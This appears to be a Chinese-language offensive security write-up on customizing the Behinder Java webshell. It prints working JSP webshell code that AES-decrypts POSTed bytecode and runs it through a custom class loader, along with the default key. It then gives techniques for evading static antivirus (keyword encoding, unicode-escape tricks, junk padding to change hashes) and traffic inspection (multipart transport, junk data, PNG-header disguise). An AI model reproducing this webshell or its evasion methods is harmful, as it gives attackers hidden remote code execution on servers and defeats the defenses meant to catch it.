0x01 实战痛点
- 数据传输:
AES + BASE64
数据包传递,传输过程被安全设备抓取特征 webshell
: 静态查杀,敏感关键字和敏感方法被设备查杀实战功能
: 提高效率的功能,机械的操作
0x02 原理分析(JAVA-webshell为例)
[+] 原版java-webshell:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*">
<%!class U extends ClassLoader{
U(ClassLoader c){super(c);
//创建U类继承ClassLoader
}
public Class g(byte []b){ // 自定义一个g成员方法,接受字节类型的参数
return super.defineClass(b,0,b.length); // 调用父类的defineClass 动态解析字节码返回 Class 对象
}
}%>
<%if (request.getMethod().equals("POST")){ // 实例化类调用equals方法,
String k="1a1dc91c907325c6";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k); // byte[] add
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES")); // AES 解密
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);// base64编码,获取去一段bayte[],后续difineClass,获取到class,再通过newInstance()获取到类,重写equle方法,传递pageContext
}%>
[+] 客户端-代码结构:

[+] Payload目录内容:

[+] 修改步骤:
- ① 添加新的加/解密类 文件名:
core\Crypt.java
和core\Decrypt.java
- ② 添加
Payload
文件夹创建新类型的功能代码 文件名:payload\new-type\.....
- ③ 添加新的参数处理 文件名:
core\Params.java
- ④ 添加新的数据发送 文件名:
Utils\Utils.java
- ⑤ 添加新的连接逻辑 文件名:
MainController.java
0x03 实战的需求
① 静态查杀的绕过:
一 关键字扫描:
- c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
- U demo = new U(this.getClass().getClassLoader());
- newInstance() getClassLoader() doFinal()
- 解决方式:
-
- 类型转换,将敏感参数进行转换,避免出现关键字
strToByte
uniocde
- 类加载模式,通过类加载配合各种编码解码
- java语言的特性,
\u000d
实际上是一个换行符,语言识别为注释
- 类型转换,将敏感参数进行转换,避免出现关键字
-
二 固定webshell-Hash 固定webshell大小
-
静态原版webshell,通常情况下,hash被记录,普通杀毒会查杀
-
未修改密码,默认密码被当作识别特征(behinder3密码通常为任意字符串MD5的前16位)
- 解决方式:
- 随机填充无用的代码或者无用注释
- 自定义密码添加即可
- 随用随生成webwhell
[+] 实现效果:
- 解决方式:

同密码
、同类型
webshell Hash对比:

- 静态查杀结果:
② 动态数据传输绕过:
-
2.0 存在密钥交互的特征
-
数据包的
Content-Type
结合数据内容 -
数据包的请求方式
POST
-
解决办法:
-
修改数据交互中的数据包特征,可以配合正常网页内容特定地区加密内容
-
修改数据返回包的数据类型,自定义解析规则
-
修改数据传输的方式,通过
multipart/form-data
方式进行数据传 -
数据包增加垃圾数据,通过特定标识符提取需要的返回值
-
数据交互方式,简单以
multipart/form-data
为例子:
-
-

- 数据传输将返回数据封装png头:
